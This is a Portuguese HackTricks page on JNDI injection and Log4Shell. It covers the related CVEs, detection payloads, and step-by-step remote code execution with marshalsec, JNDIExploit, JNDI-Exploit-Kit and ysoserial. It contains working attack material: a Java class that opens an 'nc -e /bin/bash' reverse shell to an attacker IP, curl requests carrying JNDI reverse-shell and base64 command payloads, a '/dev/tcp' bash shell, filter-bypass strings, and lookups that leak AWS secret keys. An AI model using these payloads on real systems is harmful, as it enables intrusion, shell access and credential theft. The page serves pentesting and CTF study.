2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-22 11:03:24 +00:00
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

33 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Informações Básicas

O JNDI, integrado ao Java desde o final dos anos 1990, atua como um serviço de diretório, permitindo que programas Java localizem dados ou objetos por meio de um sistema de nomes. Ele suporta vários serviços de diretório por meio de interfaces de provedor de serviços (SPIs), permitindo a recuperação de dados de diferentes sistemas, incluindo objetos Java remotos. SPIs comuns incluem CORBA COS, Registro Java RMI e LDAP.

Referência de Nomes JNDI

Objetos Java podem ser armazenados e recuperados usando Referências de Nomes JNDI, que se apresentam em duas formas:

  • Endereços de Referência: Especifica a localização de um objeto (por exemplo, rmi://servidor/ref), permitindo a recuperação direta do endereço especificado.
  • Fábrica Remota: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir do local remoto.

No entanto, esse mecanismo pode ser explorado, potencialmente levando ao carregamento e execução de código arbitrário. Como contramedida:

  • RMI: java.rmi.server.useCodeabseOnly = true por padrão a partir do JDK 7u21, restringindo o carregamento de objetos remotos. Um Gerenciador de Segurança limita ainda mais o que pode ser carregado.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false por padrão a partir do JDK 6u141, 7u131, 8u121, bloqueando a execução de objetos Java carregados remotamente. Se definido como true, a execução de código remoto é possível sem supervisão de um Gerenciador de Segurança.
  • CORBA: Não possui uma propriedade específica, mas o Gerenciador de Segurança está sempre ativo.

No entanto, o Gerenciador de Nomes, responsável por resolver links JNDI, carece de mecanismos de segurança integrados, permitindo potencialmente a recuperação de objetos de qualquer fonte. Isso representa um risco, pois as proteções RMI, LDAP e CORBA podem ser contornadas, levando ao carregamento de objetos Java arbitrários ou à exploração de componentes de aplicativos existentes (gadgets) para executar código malicioso.

Exemplos de URLs exploráveis incluem:

  • rmi://servidor-atacante/bar
  • ldap://servidor-atacante/bar
  • iiop://servidor-atacante/bar

Apesar das proteções, vulnerabilidades permanecem, principalmente devido à falta de salvaguardas contra o carregamento de JNDI de fontes não confiáveis e à possibilidade de contornar proteções existentes.

Exemplo JNDI

Mesmo que você tenha definido um PROVIDER_URL, você pode indicar um diferente em uma busca e ele será acessado: ctx.lookup("<url-controlada-pelo-atacante>") e é isso que um atacante explorará para carregar objetos arbitrários de um sistema controlado por ele.

Visão Geral do CORBA

O CORBA (Common Object Request Broker Architecture) emprega uma Referência de Objeto Interoperável (IOR) para identificar remotamente objetos. Esta referência inclui informações essenciais como:

  • ID de Tipo: Identificador único para uma interface.
  • Codebase: URL para obter a classe stub.

Notavelmente, o CORBA não é inerentemente vulnerável. Garantir a segurança geralmente envolve:

  • Instalação de um Gerenciador de Segurança.
  • Configurar o Gerenciador de Segurança para permitir conexões a codebases potencialmente maliciosos. Isso pode ser alcançado por meio de:
  • Permissão de soquete, por exemplo, permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Permissões de leitura de arquivos, universalmente (permission java.io.FilePermission "<<ALL FILES>>", "read";) ou para diretórios específicos onde arquivos maliciosos podem ser colocados.

No entanto, algumas políticas de fornecedores podem ser tolerantes e permitir essas conexões por padrão.

Contexto RMI

Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.

LDAP

Primeiramente, precisamos distinguir entre uma Pesquisa e uma Busca.
Uma pesquisa usará uma URL como ldap://localhost:389/o=JNDITutorial para encontrar o objeto JNDITutorial de um servidor LDAP e recuperar seus atributos.
Uma busca é destinada a serviços de nomes pois queremos obter qualquer coisa vinculada a um nome.

Se a pesquisa LDAP foi invocada com SearchControls.setReturningObjFlag() com true, então o objeto retornado será reconstruído.

Portanto, existem várias maneiras de atacar essas opções.
Um atacante pode envenenar registros LDAP introduzindo payloads neles que serão executados nos sistemas que os coletam (muito útil para comprometer dezenas de máquinas se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um ataque MitM em uma pesquisa LDAP, por exemplo.

Caso você possa fazer um aplicativo resolver uma URL LDAP JNDI, você pode controlar o LDAP que será pesquisado e poderia enviar de volta o exploit (log4shell).

Exploração de Desserialização

O exploit é serializado e será desserializado.
Caso trustURLCodebase seja true, um atacante pode fornecer suas próprias classes no codebase; caso contrário, ele precisará abusar de gadgets no classpath.

Exploração de Referência JNDI

É mais fácil atacar este LDAP usando referências JavaFactory:

Vulnerabilidade Log4Shell

A vulnerabilidade é introduzida no Log4j porque ele suporta uma sintaxe especial na forma ${prefixo:nome} onde prefixo é um dos diferentes Lookups onde nome deve ser avaliado. Por exemplo, ${java:versão} é a versão atual em execução do Java.

LOG4J2-313 introduziu um recurso de jndi Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com java:comp/env/. No entanto, se a própria chave incluir um ":", este prefixo padrão não é aplicado.

Com um : presente na chave, como em ${jndi:ldap://exemplo.com/a}, não há prefixo e o servidor LDAP é consultado para o objeto. E esses Lookups podem ser usados tanto na configuração do Log4j quanto ao registrar linhas.

Portanto, a única coisa necessária para obter RCE é uma versão vulnerável do Log4j processando informações controladas pelo usuário. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j não é usado apenas para registrar informações HTTP, mas qualquer entrada e dados indicados pelo desenvolvedor.

Visão geral das CVEs relacionadas ao Log4Shell

CVE-2021-44228 [Crítico]

Essa vulnerabilidade é uma falha crítica de desserialização não confiável no componente log4j-core, afetando versões de 2.0-beta9 a 2.14.1. Permite a execução remota de código (RCE), possibilitando que invasores assumam o controle de sistemas. O problema foi relatado por Chen Zhaojun da Equipe de Segurança da Alibaba Cloud e afeta vários frameworks Apache. A correção inicial na versão 2.15.0 estava incompleta. Regras Sigma para defesa estão disponíveis (Regra 1, Regra 2).

CVE-2021-45046 [Crítico]

Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, essa CVE é uma falha de Negação de Serviço (DoS) resultante de uma correção incompleta na versão 2.15.0 para a CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads elaborados. Um tweet mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.

CVE-2021-4104 [Alto]

Afetando as versões Log4j 1.x em configurações não padrão que usam JMSAppender, essa CVE é uma falha de desserialização não confiável. Não há correção disponível para o ramo 1.x, que está em fim de vida, sendo recomendado atualizar para log4j-core 2.17.0.

CVE-2021-42550 [Moderado]

Essa vulnerabilidade afeta o framework de registro Logback, sucessor do Log4j 1.x. Anteriormente considerado seguro, o framework foi encontrado vulnerável, e novas versões (1.3.0-alpha11 e 1.2.9) foram lançadas para abordar o problema.

CVE-2021-45105 [Alto]

O Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do log4j 2.17.0 para corrigir a CVE. Mais detalhes estão no relatório do BleepingComputer.

CVE-2021-44832

Afetando a versão 2.17 do log4j, essa CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve uma possível execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no post do blog da Checkmarx.

Exploração do Log4Shell

Descoberta

Essa vulnerabilidade é muito fácil de ser descoberta se estiver desprotegida, pois enviará pelo menos uma solicitação DNS para o endereço que você indicar em seu payload. Portanto, payloads como:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (usando canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (usando interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (usando Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (usando dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} usando (usando huntress)

Observe que mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação é explorável (ou mesmo vulnerável), será necessário tentar explorá-la.

{% hint style="info" %} Lembre-se de que para explorar a versão 2.15 você precisa adicionar a burla de verificação de localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Descoberta Local

Procure por versões locais vulneráveis da biblioteca com:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verificação

Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando solicitados.
Isso pode ser muito útil para 2 coisas:

  • Para verificar a vulnerabilidade
  • Para exfiltrar informações abusando da vulnerabilidade

Por exemplo, você poderia solicitar algo como:
ou como ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} e se uma solicitação DNS for recebida com o valor da variável de ambiente, você saberá que a aplicação é vulnerável.

Outras informações que você poderia tentar vazar:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informações de RCE

{% hint style="info" %} Os hosts que executam versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de com.sun.jndi.ldap.object.trustURLCodebase, que impede o JNDI de carregar um código remoto via LDAP. No entanto, é crucial observar que essas versões não estão protegidas contra o vetor de ataque de desserialização.

Para os atacantes que visam explorar essas versões mais recentes do JDK, é necessário aproveitar um gadget confiável dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse fim. Por outro lado, explorar versões inferiores do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.

Para mais informações (como limitações nos vetores RMI e CORBA) verifique a seção anterior de Referência de Nomenclatura JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec com payload personalizado

Você pode testar isso na caixa THM: https://tryhackme.com/room/solar

Use a ferramenta marshalsec (versão jar disponível aqui). Esta abordagem estabelece um servidor de referência LDAP para redirecionar conexões para um servidor HTTP secundário onde o exploit será hospedado:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Para solicitar que o alvo carregue um código de shell reverso, crie um arquivo Java chamado Exploit.java com o conteúdo abaixo:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Compile o arquivo Java em um arquivo de classe usando: javac Exploit.java -source 8 -target 8. Em seguida, inicie um servidor HTTP no diretório que contém o arquivo de classe com: python3 -m http.server. Certifique-se de que o servidor LDAP marshalsec faça referência a este servidor HTTP.

Dispare a execução da classe de exploit no servidor web suscetível despachando um payload semelhante:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Esta exploração depende da configuração do Java para permitir o carregamento remoto de código via LDAP. Se isso não for permitido, considere explorar uma classe confiável para execução de código arbitrário.

RCE - JNDIExploit

{% hint style="info" %} Note que por algum motivo o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 mas se você deseja respeitar a decisão do autor, utilize um método diferente para explorar essa vulnerabilidade.

Além disso, você não pode encontrar o código fonte no wayback machine, então analise o código fonte ou execute o arquivo jar sabendo que você não sabe o que está executando. {% endhint %}

Para este exemplo, você pode simplesmente executar este servidor web vulnerável ao log4shell na porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (no README você encontrará como executá-lo). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP X-Api-Version.

Em seguida, você pode baixar o arquivo jar do JNDIExploit e executá-lo com:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Após ler o código por apenas alguns minutos, em com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer você pode ver como os servidores LDAP e HTTP são criados. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.
Em com.feihong.ldap.gadgets você pode encontrar alguns gadgets específicos que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em com.feihong.ldap.template você pode ver as diferentes classes de modelo que irão gerar os exploits.

Você pode ver todos os exploits disponíveis com java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Alguns úteis são:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Portanto, no nosso exemplo, já temos essa aplicação vulnerável em execução no docker. Para atacá-la:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Quando enviar os ataques, você verá alguma saída no terminal onde executou JNDIExploit-1.2-SNAPSHOT.jar.

Lembre-se de verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.

RCE - JNDI-Exploit-Kit

De forma semelhante ao exploit anterior, você pode tentar usar JNDI-Exploit-Kit para explorar essa vulnerabilidade.
Você pode gerar os URLs para enviar à vítima executando:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Este ataque usando um objeto Java gerado personalizado funcionará em laboratórios como a sala solar THM. No entanto, isso geralmente não funcionará (pois por padrão o Java não está configurado para carregar um codebase remoto usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus é outra ferramenta para gerar links JNDI funcionais e fornecer serviços em segundo plano iniciando servidor RMI, servidor LDAP e servidor HTTP.\

RCE - ysoserial & JNDI-Exploit-Kit

Esta opção é realmente útil para atacar versões do Java configuradas para confiar apenas em classes especificadas e não em todos. Portanto, ysoserial será usado para gerar serializações de classes confiáveis que podem ser usadas como gadgets para executar código arbitrário (a classe confiável abusada pelo ysoserial deve ser usada pelo programa Java da vítima para que o exploit funcione).

Usando ysoserial ou ysoserial-modified você pode criar o exploit de desserialização que será baixado pelo JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Use JNDI-Exploit-Kit para gerar links JNDI onde o exploit estará aguardando conexões das máquinas vulneráveis. Você pode servir diferentes exploits que podem ser gerados automaticamente pelo JNDI-Exploit-Kit ou até mesmo seus próprios payloads de desserialização (gerados por você ou pelo ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um shell reverso apenas enviando para uma versão vulnerável do log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Scanners Automáticos

Laboratórios para Testar

Pós-Exploração do Log4Shell

Neste writeup de CTF é bem explicado como é potencialmente possível abusar algumas funcionalidades do Log4J.

A página de segurança do Log4j tem algumas frases interessantes:

A partir da versão 2.16.0 (para Java 8), a funcionalidade de busca de mensagens foi completamente removida. As buscas na configuração ainda funcionam. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. As buscas JNDI na configuração agora precisam ser habilitadas explicitamente.

A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), apenas as strings de busca na configuração são expandidas recursivamente; em qualquer outro uso, apenas a busca de nível superior é resolvida, e quaisquer buscas aninhadas não são resolvidas.

Isso significa que por padrão você pode esquecer o uso de qualquer exploit jndi. Além disso, para realizar buscas recursivas você precisa tê-las configuradas.

Por exemplo, neste CTF isso foi configurado no arquivo log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Pesquisas de Ambiente

Neste CTF, o atacante controlava o valor de ${sys:cmd} e precisava extrair a flag de uma variável de ambiente.
Como visto nesta página em cargas úteis anteriores, existem diferentes maneiras de acessar variáveis de ambiente, como: ${env:FLAG}. Neste CTF isso foi inútil, mas pode ser útil em outros cenários da vida real.

Exfiltração em Exceções

No CTF, você não podia acessar o stderr da aplicação Java usando log4J, mas as exceções do Log4J são enviadas para stdout, que foi impresso no aplicativo Python. Isso significava que ao acionar uma exceção poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: ${java:${env:FLAG}}. Isso funciona porque ${java:CTF{blahblah}} não existe e uma exceção com o valor da flag será mostrada:

Padrões de Conversão em Exceções

Apenas para mencionar, você também poderia injetar novos padrões de conversão e acionar exceções que serão registradas em stdout. Por exemplo:

Isso não foi útil para exfiltrar dados dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas poderia ser útil para outras coisas, como detecção.

Padrões de Conversão Regex

No entanto, é possível usar alguns padrões de conversão que suportam regexes para exfiltrar informações de uma pesquisa usando regexes e abusando de comportamentos de busca binária ou baseados em tempo.

  • Busca binária via mensagens de exceção

O padrão de conversão %replace pode ser usado para substituir conteúdo de uma string mesmo usando regexes. Funciona assim: replace{pattern}{regex}{substitution}
Abusando desse comportamento, você poderia fazer com que a substituição acionasse uma exceção se o regex correspondesse a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Baseado em tempo

Conforme mencionado na seção anterior, %replace suporta regexes. Portanto, é possível usar um payload da página ReDoS para causar um timeout caso a flag seja encontrada. Por exemplo, um payload como %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} poderia desencadear um timeout nesse CTF.

Neste writeup, em vez de usar um ataque ReDoS, foi utilizado um ataque de amplificação para causar uma diferença de tempo na resposta:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Se a flag começar com flagGuess, a flag inteira será substituída por 29 # (usei esse caractere porque provavelmente não fará parte da flag). Cada um dos 29 # resultantes é então substituído por 54 #. Esse processo é repetido 6 vezes, resultando em um total de 29*54*54^6* =`` ``96816014208 #!

Substituir tantos # desencadeará o timeout de 10 segundos da aplicação Flask, o que resultará no envio do código de status HTTP 500 para o usuário. (Se a flag não começar com flagGuess, receberemos um código de status não-500)

Referências

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Aprenda hacking AWS do zero ao hero com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: